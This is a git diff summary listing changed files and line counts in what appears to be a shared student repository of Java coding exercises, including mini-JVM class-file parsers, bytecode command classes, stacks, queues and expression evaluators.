 .../src/task7/jvm/attr/CodeAttr.java          | 120 +++
 .../src/task7/jvm/attr/LineNumberTable.java   |  72 ++
 .../src/task7/jvm/attr/LocalVariableItem.java |  39 +
 .../task7/jvm/attr/LocalVariableTable.java    |  57 ++
 .../src/task7/jvm/attr/StackMapTable.java     |  30 +
 .../src/task7/jvm/clz/AccessFlag.java         |  25 +
 .../src/task7/jvm/clz/ClassFile.java          | 134 +++
 .../src/task7/jvm/clz/ClassIndex.java         |  19 +
 .../src/task7/jvm/cmd/BiPushCmd.java          |  23 +
 .../src/task7/jvm/cmd/ByteCodeCommand.java    | 128 +++
 .../src/task7/jvm/cmd/CommandParser.java      | 124 +++
 .../src/task7/jvm/cmd/GetFieldCmd.java        |  22 +
 .../src/task7/jvm/cmd/GetStaticFieldCmd.java  |  23 +
 .../src/task7/jvm/cmd/InvokeSpecialCmd.java   |  23 +
 .../src/task7/jvm/cmd/InvokeVirtualCmd.java   |  22 +
 .../src/task7/jvm/cmd/LdcCmd.java             |  29 +
 .../src/task7/jvm/cmd/NewObjectCmd.java       |  19 +
 .../src/task7/jvm/cmd/NoOperandCmd.java       |  23 +
 .../src/task7/jvm/cmd/OneOperandCmd.java      |  27 +
 .../src/task7/jvm/cmd/PutFieldCmd.java        |  19 +
 .../src/task7/jvm/cmd/TwoOperandCmd.java      |  67 ++
 .../src/task7/jvm/constant/ClassInfo.java     |  31 +
 .../src/task7/jvm/constant/ConstantInfo.java  |  35 +
 .../src/task7/jvm/constant/ConstantPool.java  |  37 +
 .../src/task7/jvm/constant/FieldRefInfo.java  |  65 ++
 .../src/task7/jvm/constant/MethodRefInfo.java |  65 ++
 .../task7/jvm/constant/NameAndTypeInfo.java   |  56 ++
 .../task7/jvm/constant/NullConstantInfo.java  |  21 +
 .../src/task7/jvm/constant/StringInfo.java    |  35 +
 .../src/task7/jvm/constant/UTF8Info.java      |  45 +
 .../src/task7/jvm/field/Field.java            |  48 +
 .../task7/jvm/loader/ByteCodeIterator.java    |  56 ++
 .../src/task7/jvm/loader/ClassFileLoader.java | 122 +++
 .../src/task7/jvm/loader/ClassFileParser.java | 112 +++
 .../src/task7/jvm/method/Method.java          |  91 ++
 .../src/task7/jvm/print/ClassFilePrinter.java |  44 +
 .../task7/jvm/print/ConstantInfoVisitor.java  |  18 +
 .../jvm/print/ConstantInfoVisitorImpl.java    |  51 +
 .../task7/jvm/print/ConstantPoolPrinter.java  |  26 +
 .../task7/jvm/test/ClassFileloaderTest.java   | 191 ++++
 .../src/task7/jvm/test/EmployeeV1.java        |  29 +
 .../src/task7/jvm/util/Util.java              |  23 +
 group15/1512_656512403/.idea/description.html |  16 +-
 group17/102228177/work2_26/.classpath         |  16 +-
 .../src/com/coderising/array/ArrayUtil.java   |  19 +-
 .../jvm/loader/ClassFileLoader.java           |  81 ++
 .../jvm/test}/ClassFileloaderTest.java        | 178 ++--
 .../com/coderising/jvm/test}/EmployeeV1.java  |  56 +-
 .../coding/basic/linklist/LRUPageFrame.java   | 150 +++
 .../basic/linklist/LRUPageFrameTest.java      |  31 +
 .../src/com/coderising/data/LinkedList.java   |  42 +-
 .../com/coderising/data/LinkedListTest.java   |   7 +-
 .../coderising/download/DownloadThread.java   |   2 +-
 .../coderising/download/FileDownloader.java   |   2 +-
 .../download/FileDownloaderTest.java          |   5 +-
 .../download/impl/ConnectionImpl.java         |   2 +-
 .../download/impl/ConnectionManagerImpl.java  |   2 +-
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +
 .../src/com/coderising/jvm/clz/ClassFile.java | 150 +--
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../coderising/jvm/constant/ClassInfo.java    |  33 +
 .../coderising/jvm/constant/ConstantInfo.java |  38 +
 .../coderising/jvm/constant/ConstantPool.java |  39 +
 .../coderising/jvm/constant/FieldRefInfo.java |  54 ++
 .../jvm/constant/MethodRefInfo.java           |  55 ++
 .../jvm/constant/NameAndTypeInfo.java         |  45 +
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 +
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +
 .../jvm/loader/ByteCodeIterator.java          |  49 +
 .../jvm/loader/ClassFileLoader.java           | 137 +++
 .../jvm/loader/ClassFileParser.java           | 115 +++
 .../jvm/test/ClassFileloaderTest.java         | 401 ++++----
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 +
 .../src/com/coderising/jvm/util/Util.java     |  24 +
 .../src/com/coding/basic/stack/ArrayList.java | 150 +++
 .../src/com/coding/basic/stack/Iterator.java  |   8 +
 .../src/com/coding/basic/stack/List.java      |  10 +
 .../src/com/coding/basic/stack/Stack.java     |  48 +
 .../src/com/coding/basic/stack/StackUtil.java | 112 +++
 .../com/coding/basic/stack/StackUtilTest.java |  44 +
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java | 116 +++
 .../coderising/jvm/attr/LineNumberTable.java  |  68 ++
 .../jvm/attr/LocalVariableItem.java           |  39 +
 .../jvm/attr/LocalVariableTable.java          |  58 ++
 .../coderising/jvm/attr/StackMapTable.java    |  30 +
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +
 .../src/com/coderising/jvm/clz/ClassFile.java |  92 ++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../coderising/jvm/constant/ClassInfo.java    |  33 +
 .../coderising/jvm/constant/ConstantInfo.java |  38 +
 .../coderising/jvm/constant/ConstantPool.java |  39 +
 .../coderising/jvm/constant/FieldRefInfo.java |  54 ++
 .../jvm/constant/MethodRefInfo.java           |  55 ++
 .../jvm/constant/NameAndTypeInfo.java         |  45 +
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 +
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +
 .../src/com/coderising/jvm/field/Field.java   |  45 +
 .../jvm/loader/ByteCodeIterator.java          |  53 ++
 .../jvm/loader/ClassFileLoader.java           | 137 +++
 .../jvm/loader/ClassFileParser.java           | 143 +++
 .../src/com/coderising/jvm/method/Method.java |  91 ++
 .../jvm/test/ClassFileloaderTest.java         | 203 ++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 +
 .../src/com/coderising/jvm/util/Util.java     |  24 +
 .../src/com/coding/basic/stack/ArrayList.java | 150 +++
 .../src/com/coding/basic/stack/InfixExpr.java |  74 ++
 .../com/coding/basic/stack/InfixExprTest.java |  47 +
 .../src/com/coding/basic/stack/Iterator.java  |   8 +
 .../src/com/coding/basic/stack/List.java      |  10 +
 .../src/com/coding/basic/stack/Stack.java     |  48 +
 .../src/com/coding/basic/stack/StackUtil.java |  66 ++
 .../src/com/coding/basic/stack/Token.java     |  49 +
 .../com/coding/basic/stack/TokenParser.java   |  56 ++
 group17/1158154002/.classpath                 |   2 +
 .../src/test04/loader/ClassFileLoader.java    |  61 ++
 .../test04/loader/ClassFileloaderTest.java    |  84 ++
 .../src/test04/loader/EmployeeV1.java         |  28 +
 .../src/test04/lru/LRUPageFrame.java          | 112 +++
 .../src/test04/lru/LRUPageFrameTest.java      |  29 +
 .../1158154002/src/test05/stack/Stack.java    |  43 +
 .../src/test05/stack/StackTest.java           |  52 +
 .../src/test05/stack/StackUtil.java           | 151 +++
 .../1158154002/src/test06/expr/InfixExpr.java |  92 ++
 .../src/test06/expr/InfixExprTest.java        |  45 +
 .../src/test07/expr/InfixToPostfix.java       |  56 ++
 .../src/test07/expr/InfixToPostfixTest.java   |  12 +
 .../src/test07/expr/PostfixExpr.java          |  48 +
 .../src/test07/expr/PostfixExprTest.java      |  36 +
 .../src/test07/expr/PrefixExpr.java           |  49 +
 .../src/test07/expr/PrefixExprTest.java       |  43 +
 group17/1158154002/src/test07/expr/Token.java |  54 ++
 .../src/test07/expr/TokenParser.java          |  55 ++
 .../src/test07/expr/TokenParserTest.java      |  37 +
 .../1204187480/code/homework/basic/pom.xml    |  12 -
 .../jvm/loader/ClassFileLoader.java           |  45 +
 .../jvm/test/ClassFileloaderTest.java         | 355 +++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 +
 .../litestruts/{action => }/LoginAction.java  |   2 +-
 .../coderising/src/main/resources/struts.xml  |   2 +-
 .../java/com/coding/basic/BinaryTreeNode.java |  64 +-
 .../main/java}/com/coding/basic/Iterator.java |  14 +-
 .../src/main/java/com/coding/basic/List.java  |  20 +-
 .../src/main/java/com/coding/basic/Queue.java |  48 +-
 .../src/main/java/com/coding/basic/Stack.java |  62 +-
 .../com/coding/basic/array}/ArrayList.java    | 219 ++---
 .../com/coding/basic}/array/ArrayUtil.java    |   2 +-
 .../coding/basic/linklist/LRUPageFrame.java   |  57 ++
 .../basic/linklist/LRUPageFrameTest.java      |  34 +
 .../coding/basic/linklist}/LinkedList.java    |   5 +-
 .../test/java/com/coding/api/ArraysTest.java  |  44 +-
 .../test/java/com/coding/api/SystemTest.java  |  48 +-
 .../java/com/coding/basic/ArrayListTest.java  |  69 +-
 .../java/com/coding/basic/LinkedListTest.java |  24 +-
 .../1204187480/code/homework/parent/pom.xml   | 150 ++-
 group17/1204187480/code/homework/pom.xml      |   2 +-
 group17/1204187480/note/todo/homework.md      |   8 +
 .../1264835468/src/assignment/BinaryTree.java |  10 +-
 .../1264835468/src/assignment/MyStack.java    |  39 -
 .../assignment/{MyQueue.java => Queue.java}   |   2 +-
 group17/1264835468/src/assignment/Stack.java  |  53 ++
 .../assignment0326/jvm/clz/AccessFlag.java    |  25 +
 .../src/assignment0326/jvm/clz/ClassFile.java |  77 ++
 .../assignment0326/jvm/clz/ClassIndex.java    |  19 +
 .../jvm/constant/ClassInfo.java               |  24 +
 .../jvm/constant/ConstantInfo.java            |  29 +
 .../jvm/constant/ConstantPool.java            |  29 +
 .../jvm/constant/FieldRefInfo.java            |  54 ++
 .../jvm/constant/MethodRefInfo.java           |  55 ++
 .../jvm/constant/NameAndTypeInfo.java         |  45 +
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../jvm/constant/StringInfo.java              |  26 +
 .../assignment0326/jvm/constant/UTF8Info.java |  32 +
 .../jvm/loader/ByteCodeIterator.java          |  42 +
 .../jvm/loader/ClassFileLoader.java           |  80 +-
 .../jvm/loader/ClassFileParser.java           | 133 +++
 .../jvm/test/ClassFileLoaderTest.java         | 129 ++-
 .../src/assignment0326/jvm/util/Util.java     |  24 +
 .../src/assignment0326/lru/Clock.java         |  99 --
 .../src/assignment0405/StackUtil.java         | 107 +++
 .../src/assignment0405/StackUtilTest.java     |  67 ++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 +
 .../com/coderising/download/net_multisoc.htm  |  15 +
 .../coderising/jvm/attr/AttributeInfo.java    |  48 +
 .../src/com/coderising/jvm/attr/CodeAttr.java |  94 ++
 .../attr/InvalidAttributeInfoException.java   |   7 +
 .../coderising/jvm/attr/LineNumberTable.java  |  53 ++
 .../jvm/attr/LocalVariableItem.java           |  71 ++
 .../jvm/attr/LocalVariableTable.java          |  40 +
 .../coderising/jvm/attr/StackMapTable.java    |  30 +
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +
 .../src/com/coderising/jvm/clz/ClassFile.java |  95 ++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../coderising/jvm/constant/ClassInfo.java    |  24 +
 .../coderising/jvm/constant/ConstantInfo.java |  29 +
 .../jvm/constant/ConstantInfoFactory.java     |  93 ++
 .../coderising/jvm/constant/ConstantPool.java |  37 +
 .../coderising/jvm/constant/FieldRefInfo.java |  54 ++
 .../coderising/jvm/constant/FloatRefInfo.java |  15 +
 .../coderising/jvm/constant/IntegerInfo.java  |  22 +
 .../InvalidConstantInfoTypeException.java     |  11 +
 .../jvm/constant/MethodRefInfo.java           |  55 ++
 .../jvm/constant/NameAndTypeInfo.java         |  45 +
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 +
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +
 .../src/com/coderising/jvm/field/Field.java   |  50 +
 .../coderising/jvm/interfaze/Interfaze.java   |   5 +
 .../interfaze/InvalidInterfaceException.java  |   7 +
 .../jvm/loader/ByteCodeIterator.java          |  84 ++
 .../jvm/loader/ClassFileLoader.java           |  20 +-
 .../jvm/loader/ClassFileParser.java           | 165 ++++
 .../method/InvalidMethodInfoException.java    |   7 +
 .../src/com/coderising/jvm/method/Method.java |  87 ++
 .../jvm/test/ByteCodeIteratorTest.java        |  51 +
 .../jvm/test/ClassFileloaderTest.java         | 385 ++++++--
 .../jvm/test/ClassFileloaderTest2.java        |  52 +
 .../src/com/coderising/jvm/util/Util.java     |  24 +
 .../src/com/coding/basic/stack/Stack.java     |  24 +
 .../src/com/coding/basic/stack/StackUtil.java | 109 +++
 .../coding/basic/stack/expr/InfixExpr.java    | 184 ++++
 .../basic/stack/expr/InfixExprTest.java       |  60 ++
 group17/785396327/2.26/list/ArrayList.java    |  14 +-
 .../785396327/3.26/jvm_1/ClassFileLoader.java |   9 +
 .../3.26/jvm_1/ClassFileloaderTest.java       |   2 +-
 group17/785396327/4.16/cmd/BiPushCmd.java     |  29 +
 .../785396327/4.16/cmd/ByteCodeCommand.java   | 131 +++
 group17/785396327/4.16/cmd/CommandParser.java | 214 +++++
 group17/785396327/4.16/cmd/GetFieldCmd.java   |  27 +
 .../785396327/4.16/cmd/GetStaticFieldCmd.java |  27 +
 .../785396327/4.16/cmd/InvokeSpecialCmd.java  |  27 +
 .../785396327/4.16/cmd/InvokeVirtualCmd.java  |  26 +
 group17/785396327/4.16/cmd/LdcCmd.java        |  37 +
 group17/785396327/4.16/cmd/NewObjectCmd.java  |  27 +
 group17/785396327/4.16/cmd/NoOperandCmd.java  |  30 +
 group17/785396327/4.16/cmd/OneOperandCmd.java |  27 +
 group17/785396327/4.16/cmd/PutFieldCmd.java   |  26 +
 group17/785396327/4.16/cmd/TwoOperandCmd.java |  65 ++
 .../4.16/print/ClassFilePrinter.java          |  44 +
 .../4.16/print/ConstantPoolPrinter.java       | 114 +++
 .../4.23/engine/ExecutionResult.java          |  55 ++
 .../785396327/4.23/engine/ExecutorEngine.java |  29 +
 .../785396327/4.23/engine/FrameResult.java    |   7 +
 group17/785396327/4.23/engine/Heap.java       |  41 +
 group17/785396327/4.23/engine/JavaObject.java |  73 ++
 group17/785396327/4.23/engine/MethodArea.java |  70 ++
 group17/785396327/4.23/engine/MiniJVM.java    |  29 +
 group17/785396327/4.23/engine/StackFrame.java |  95 ++
 group17/785396327/4.23/queue/CircleQueue.java |  59 ++
 .../785396327/4.23/queue/CircleQueueTest.java |  62 ++
 group17/785396327/4.23/queue/Josephus.java    |  39 +
 .../785396327/4.23/queue/JosephusTest.java    |  26 +
 .../4.23/queue/QueueWithTwoStacks.java        |  54 ++
 .../4.23/queue/QueueWithTwoStacksTest.java    |  37 +
 group17/785396327/4.5/clz/AccessFlag.java     |  28 +
 group17/785396327/4.5/clz/ClassFile.java      | 120 +++
 group17/785396327/4.5/clz/ClassIndex.java     |  25 +
 group17/785396327/4.5/constant/ClassInfo.java |  32 +
 .../785396327/4.5/constant/ConstantInfo.java  |  50 +
 .../785396327/4.5/constant/ConstantPool.java  |  32 +
 .../785396327/4.5/constant/FieldRefInfo.java  |  62 ++
 .../785396327/4.5/constant/MethodRefInfo.java |  58 ++
 .../4.5/constant/NameAndTypeInfo.java         |  57 ++
 .../4.5/constant/NullConstantInfo.java        |  20 +
 .../785396327/4.5/constant/StringInfo.java    |  34 +
 group17/785396327/4.5/constant/UTF8Info.java  |  39 +
 .../4.5/iterator/ByteCodeIterator.java        |  64 ++
 .../785396327/4.5/parse/ClassFilePaser.java   | 121 +++
 group17/785396327/4.5/stack/MyStack.java      |  35 +
 group17/785396327/4.5/stack/StackUtil.java    | 115 +++
 .../785396327/4.5/stack/StackUtilTest.java    | 101 ++
 .../4.5/test/ClassFileloaderTest.java         | 348 +++++++
 group17/785396327/4.5/util/Util.java          |  28 +
 group17/785396327/4.9/attr/AttributeInfo.java |  20 +
 group17/785396327/4.9/attr/CodeAttr.java      |  88 ++
 .../785396327/4.9/attr/LineNumberTable.java   |  54 ++
 .../785396327/4.9/attr/LocalVariableItem.java |  42 +
 .../4.9/attr/LocalVariableTable.java          |  43 +
 group17/785396327/4.9/attr/StackMapTable.java |  31 +
 group17/785396327/4.9/expr/ExprParser.java    |  37 +
 group17/785396327/4.9/expr/InfixExpr.java     |  75 ++
 group17/785396327/4.9/expr/InfixExprTest.java |  57 ++
 .../785396327/4.9/expr/InfixToPostfix.java    |  43 +
 .../4.9/expr/InfixToPostfixTest.java          |  41 +
 group17/785396327/4.9/expr/OperEnum.java      |  21 +
 group17/785396327/4.9/expr/PostfixExpr.java   |  48 +
 .../785396327/4.9/expr/PostfixExprTest.java   |  38 +
 group17/785396327/4.9/expr/PrefixExpr.java    |  48 +
 .../785396327/4.9/expr/PrefixExprTest.java    |  45 +
 group17/785396327/4.9/expr/Token.java         |  52 +
 group17/785396327/4.9/expr/TokenParser.java   |  58 ++
 .../785396327/4.9/expr/TokenParserTest.java   |  47 +
 group17/785396327/4.9/field/Field.java        |  41 +
 group17/785396327/4.9/method/Method.java      |  67 ++
 group17/82427129/.gitignore                   |   4 +-
 .../coderising/jvm/attr/AttributeInfo.java    |  40 +
 .../com/coderising/jvm/attr/CodeAttr.java     | 129 +++
 .../coderising/jvm/attr/LineNumberTable.java  |  77 ++
 .../jvm/attr/LocalVariableTable.java          |  93 ++
 .../coderising/jvm/attr/StackMapTable.java    |  13 +
 .../com/coderising/jvm/clz/AccessFlag.java    |  24 +
 .../com/coderising/jvm/clz/ClassFile.java     | 109 +++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../coderising/jvm/constant/ClassInfo.java    |  39 +
 .../coderising/jvm/constant/ConstantInfo.java |  37 +
 .../coderising/jvm/constant/ConstantPool.java |  38 +
 .../coderising/jvm/constant/DoubleInfo.java   |  14 +
 .../coderising/jvm/constant/FieldRefInfo.java |  66 ++
 .../coderising/jvm/constant/FloatInfo.java    |  15 +
 .../coderising/jvm/constant/IntegerInfo.java  |  25 +
 .../com/coderising/jvm/constant/LongInfo.java |  15 +
 .../jvm/constant/MethodRefInfo.java           |  67 ++
 .../jvm/constant/NameAndTypeInfo.java         |  58 ++
 .../jvm/constant/NullConstantInfo.java        |  14 +
 .../coderising/jvm/constant/StringInfo.java   |  43 +
 .../com/coderising/jvm/constant/UTF8Info.java |  47 +
 .../java/com/coderising/jvm/field/Field.java  | 115 +++
 .../jvm/loader/ByteCodeIterator.java          |  48 +
 .../jvm/loader/ClassFileLoader.java           |  34 +-
 .../jvm/loader/ClassFileParser.java           | 195 ++++
 .../com/coderising/jvm/method/Method.java     | 126 +++
 .../java/com/coderising/jvm/util/Util.java    |  24 +
 .../com/coding/basic/{ => stack}/Stack.java   |  16 +-
 .../com/coding/basic/stack/StackUtil.java     | 147 +++
 .../coding/basic/stack/expr/InfixExpr.java    | 114 +++
 .../com/coding/basic/stack/expr/Token.java    |  85 ++
 .../jvm/loader/ClassFileLoaderTest.java       | 185 +++-
 .../com/coding/basic/stack/StackUtilTest.java |  65 ++
 .../basic/stack/expr/InfixExprTest.java       |  35 +
 group17/article/20170326-20170402.md          |   2 +-
 group17/article/20170402-20170409.md          |   8 +-
 group17/article/20170409-20170416.md          |  56 ++
 group17/article/20170416-20170423.md          |  56 ++
 group17/article/template.md                   |   2 +-
 group17/count/homework.md                     |   5 +-
 .../org/xukai/coderising/stack/InfixExpr.java | 173 ++--
 .../xukai/coderising/stack/InfixExpr2.java    | 104 ++
 .../coderising/stack/InfixToPostfix2.java     |  87 ++
 .../xukai/coderising/stack/PostfixExpr.java   |  57 ++
 .../coderising/stack/PostfixExprTest.java     |  47 +
 .../xukai/coderising/stack/PrefixExpr.java    |  60 ++
 .../coderising/stack/PrefixExprTest.java      |  45 +
 .../org/xukai/coderising/stack/Token.java     |  50 +
 .../xukai/coderising/stack/TokenParser.java   |  57 ++
 .../java/org/xukai/jvm/attr/CodeAttr.java     |  21 +-
 .../java/org/xukai/jvm/clz/ClassFile.java     |  32 +-
 .../java/org/xukai/jvm/cmd/BiPushCmd.java     |  22 +
 .../org/xukai/jvm/cmd/ByteCodeCommand.java    | 129 +++
 .../java/org/xukai/jvm/cmd/CommandParser.java | 156 +++
 .../java/org/xukai/jvm/cmd/GetFieldCmd.java   |  22 +
 .../org/xukai/jvm/cmd/GetStaticFieldCmd.java  |  20 +
 .../org/xukai/jvm/cmd/InvokeSpecialCmd.java   |  22 +
 .../org/xukai/jvm/cmd/InvokeVirtualCmd.java   |  22 +
 .../main/java/org/xukai/jvm/cmd/LdcCmd.java   |  30 +
 .../java/org/xukai/jvm/cmd/NewObjectCmd.java  |  20 +
 .../java/org/xukai/jvm/cmd/NoOperandCmd.java  |  24 +
 .../java/org/xukai/jvm/cmd/OneOperandCmd.java |  28 +
 .../java/org/xukai/jvm/cmd/PutFieldCmd.java   |  20 +
 .../java/org/xukai/jvm/cmd/TwoOperandCmd.java |  67 ++
 .../org/xukai/jvm/constant/ClassInfo.java     |   7 +-
 .../org/xukai/jvm/constant/ConstantInfo.java  |  19 +
 .../org/xukai/jvm/constant/ConstantPool.java  |   2 +-
 .../org/xukai/jvm/constant/FieldRefInfo.java  |   7 +-
 .../org/xukai/jvm/constant/MethodRefInfo.java |   7 +-
 .../xukai/jvm/constant/NameAndTypeInfo.java   |   9 +-
 .../xukai/jvm/constant/NullConstantInfo.java  |   7 +-
 .../org/xukai/jvm/constant/StringInfo.java    |   7 +-
 .../java/org/xukai/jvm/constant/UTF8Info.java |   6 +
 .../java/org/xukai/jvm/method/Method.java     |  13 +-
 .../org/xukai/jvm/print/ClassFilePrinter.java |  48 +
 .../xukai/jvm/print/ConstantPoolPrinter.java  |  85 ++
 .../xukai/jvm/test/ClassFileloaderTest.java   |  83 +-
 .../src/main/java/me/lzb/basic/InfixExpr.java | 161 ----
 .../main/java/me/lzb/basic/expr/CalUtil.java  | 108 +++
 .../java/me/lzb/basic/expr/InfixExpr.java     |  71 ++
 .../me/lzb/basic/expr/InfixToPostfix.java     |  79 ++
 .../src/main/java/me/lzb/basic/expr/Node.java |  28 +
 .../java/me/lzb/basic/expr/PostfixExpr.java   |  46 +
 .../java/me/lzb/basic/expr/PrefixExpr.java    |  46 +
 .../lzb/basic/{ => expr}/InfixExprTest.java   |   2 +-
 .../me/lzb/basic/expr/InfixToPostfixTest.java |  42 +
 .../me/lzb/basic/expr/PostfixExprTest.java    |  43 +
 .../me/lzb/basic/expr/PrefixExprTest.java     |  47 +
 .../main/java/me/lzb/jvm/attr/CodeAttr.java   |  13 +-
 .../main/java/me/lzb/jvm/clz/AccessFlag.java  |  12 +-
 .../main/java/me/lzb/jvm/clz/ClassFile.java   |  59 +-
 .../main/java/me/lzb/jvm/cmd/BiPushCmd.java   |  21 +
 .../java/me/lzb/jvm/cmd/ByteCodeCommand.java  | 124 +++
 .../main/java/me/lzb/jvm/cmd/GetFieldCmd.java |  20 +
 .../me/lzb/jvm/cmd/GetStaticFieldCmd.java     |  19 +
 .../java/me/lzb/jvm/cmd/InvokeSpecialCmd.java |  21 +
 .../java/me/lzb/jvm/cmd/InvokeVirtualCmd.java |  19 +
 .../src/main/java/me/lzb/jvm/cmd/LdcCmd.java  |  29 +
 .../java/me/lzb/jvm/cmd/NewObjectCmd.java     |  19 +
 .../java/me/lzb/jvm/cmd/NoOperandCmd.java     |  22 +
 .../java/me/lzb/jvm/cmd/OneOperandCmd.java    |  29 +
 .../main/java/me/lzb/jvm/cmd/PutFieldCmd.java |  20 +
 .../java/me/lzb/jvm/cmd/TwoOperandCmd.java    |  64 ++
 .../java/me/lzb/jvm/constant/ClassInfo.java   |   7 +
 .../me/lzb/jvm/constant/ConstantInfo.java     |  16 +-
 .../me/lzb/jvm/constant/FieldRefInfo.java     |   7 +
 .../me/lzb/jvm/constant/MethodRefInfo.java    |   7 +
 .../me/lzb/jvm/constant/NameAndTypeInfo.java  |   7 +
 .../me/lzb/jvm/constant/NullConstantInfo.java |   7 +
 .../java/me/lzb/jvm/constant/StringInfo.java  |   7 +
 .../java/me/lzb/jvm/constant/UTF8Info.java    |   7 +
 .../me/lzb/jvm/loader/ClassFileParser.java    |   8 +-
 .../java/me/lzb/jvm/loader/CommandParser.java | 188 ++++
 .../main/java/me/lzb/jvm/method/Method.java   |  26 +-
 .../java/me/lzb/jvm/print/ClassPrinter.java   |  36 +
 .../src/main/java/me/lzb/jvm/print/Print.java |  10 +
 .../java/me/lzb/jvm/print/PrintFormat.java    |  57 ++
 .../java/me/lzb/jvm/print/PrintVisitor.java   |  23 +
 .../java/me/lzb/jvm/ClassFileloaderTest.java  |  95 +-
 .../basic/stack/expr/InfixExpr.java           |  19 +-
 .../basic/stack/expr/InfixToPostfix.java      |  67 ++
 .../basic/stack/expr/InfixToPostfixTest.java  |  32 +
 .../basic/stack/expr/PostfixExpr.java         |  35 +
 .../basic/stack/expr/PostfixExprTest.java     |  41 +
 .../basic/stack/expr/PrefixExpr.java          |  36 +
 .../basic/stack/expr/PrefixExprTest.java      |  44 +
 .../coding2017/basic/stack/expr/Token.java    |  64 ++
 .../basic/stack/expr/TokenParser.java         |  57 ++
 .../basic/stack/expr/TokenParserTest.java     |  41 +
 .../coding2017/minijvm/attr/CodeAttr.java     |  32 +-
 .../minijvm/attr/LineNumberTable.java         |  12 +-
 .../minijvm/attr/LocalVariableTable.java      |  15 +-
 .../coding2017/minijvm/clz/ClassFile.java     |  20 +-
 .../coding2017/minijvm/cmd/BiPushCmd.java     |  21 +
 .../minijvm/cmd/ByteCodeCommand.java          | 132 +++
 .../coding2017/minijvm/cmd/CommandParser.java | 143 +++
 .../coding2017/minijvm/cmd/GetFieldCmd.java   |  21 +
 .../minijvm/cmd/GetStaticFieldCmd.java        |  19 +
 .../minijvm/cmd/InvokeSpecialCmd.java         |  21 +
 .../minijvm/cmd/InvokeVirtualCmd.java         |  21 +
 .../coding2017/minijvm/cmd/LdcCmd.java        |  29 +
 .../coding2017/minijvm/cmd/NewObjectCmd.java  |  19 +
 .../coding2017/minijvm/cmd/NoOperandCmd.java  |  23 +
 .../coding2017/minijvm/cmd/OneOperandCmd.java |  29 +
 .../coding2017/minijvm/cmd/PutFieldCmd.java   |  19 +
 .../coding2017/minijvm/cmd/TwoOperandCmd.java |  67 ++
 .../minijvm/constant/ClassInfo.java           |   4 +
 .../minijvm/constant/ConstantInfo.java        |  11 +
 .../minijvm/constant/ConstantPool.java        |   2 +-
 .../minijvm/constant/FieldRefInfo.java        |   5 +
 .../minijvm/constant/MethodRefInfo.java       |   5 +
 .../minijvm/constant/NameAndTypeInfo.java     |   5 +
 .../minijvm/constant/NullConstantInfo.java    |   4 +
 .../minijvm/constant/StringInfo.java          |   6 +
 .../coding2017/minijvm/constant/UTF8Info.java |   4 +
 .../coding2017/minijvm/method/Method.java     |  17 +
 .../minijvm/print/ClassFilePrinter.java       |  47 +
 .../minijvm/print/ConstantPoolPrinter.java    |  88 ++
 .../minijvm/test/ClassFileloaderTest.java     |  77 ++
 .../basic/stack/expr/InfixExpr.java           |  19 +
 .../basic/stack/expr/InfixExprTest.java       |  52 +
 .../basic/stack/expr/InfixToPostfix.java      |  37 +
 .../coding2017/basic/stack/expr/Operator.java |  42 +
 .../basic/stack/expr/PostfixExpr.java         |  36 +
 .../basic/stack/expr/PostfixExprTest.java     |  41 +
 .../basic/stack/expr/PrefixExpr.java          |  25 +
 .../basic/stack/expr/PrefixExprTest.java      |  45 +
 .../coding2017/basic/stack/expr/Token.java    |  50 +
 .../basic/stack/expr/TokenParser.java         |  58 ++
 .../basic/stack/expr/TokenParserTest.java     |  39 +
 .../main/java/jvm/loader/ClassFileLoader.java |  57 ++
 .../src/main/java/jvm/loader/Directory.java   |  81 ++
 .../java/jvm/test/ClassFileloaderTest.java    |  83 ++
 .../src/main/java/jvm/test/EmployeeV1.java    |  31 +
 .../donaldy/basic/expr/InfixToPostfix.java    |  59 ++
 .../basic/expr/InfixToPostfixTest.java        |  22 +
 .../com/donaldy/basic/expr/PostfixExpr.java   |  67 ++
 .../donaldy/basic/expr/PostfixExprTest.java   |  41 +
 .../com/donaldy/basic/expr/PrefixExpr.java    |  69 ++
 .../donaldy/basic/expr/PrefixExprTest.java    |  45 +
 .../src/com/donaldy/basic/expr/Token.java     |  50 +
 .../com/donaldy/basic/expr/TokenParser.java   |  57 ++
 .../donaldy/basic/expr/TokenParserTest.java   |  41 +
 .../com/donaldy/basic/queue/CircleQueue.java  |  74 ++
 .../donaldy/basic/queue/CircleQueueTest.java  |  35 +
 .../src/com/donaldy/basic/queue/Josephus.java |  62 ++
 .../com/donaldy/basic/queue/JosephusTest.java |  27 +
 .../src/com/donaldy/basic/queue/Queue.java    |  62 ++
 .../basic/queue/QueueWithTwoStacks.java       |  68 ++
 .../basic/queue/QueueWithTwoStacksTest.java   |  23 +
 .../src/com/donaldy/jvm/attr/CodeAttr.java    | 102 +-
 .../donaldy/jvm/attr/LocalVariableTable.java  |  23 +-
 .../src/com/donaldy/jvm/clz/ClassFile.java    |  33 +-
 .../src/com/donaldy/jvm/cmd/BiPushCmd.java    |  29 +
 .../com/donaldy/jvm/cmd/ByteCodeCommand.java  | 130 +++
 .../com/donaldy/jvm/cmd/CommandParser.java    | 158 ++++
 .../src/com/donaldy/jvm/cmd/GetFieldCmd.java  |  28 +
 .../donaldy/jvm/cmd/GetStaticFieldCmd.java    |  31 +
 .../com/donaldy/jvm/cmd/InvokeSpecialCmd.java |  29 +
 .../com/donaldy/jvm/cmd/InvokeVirtualCmd.java |  27 +
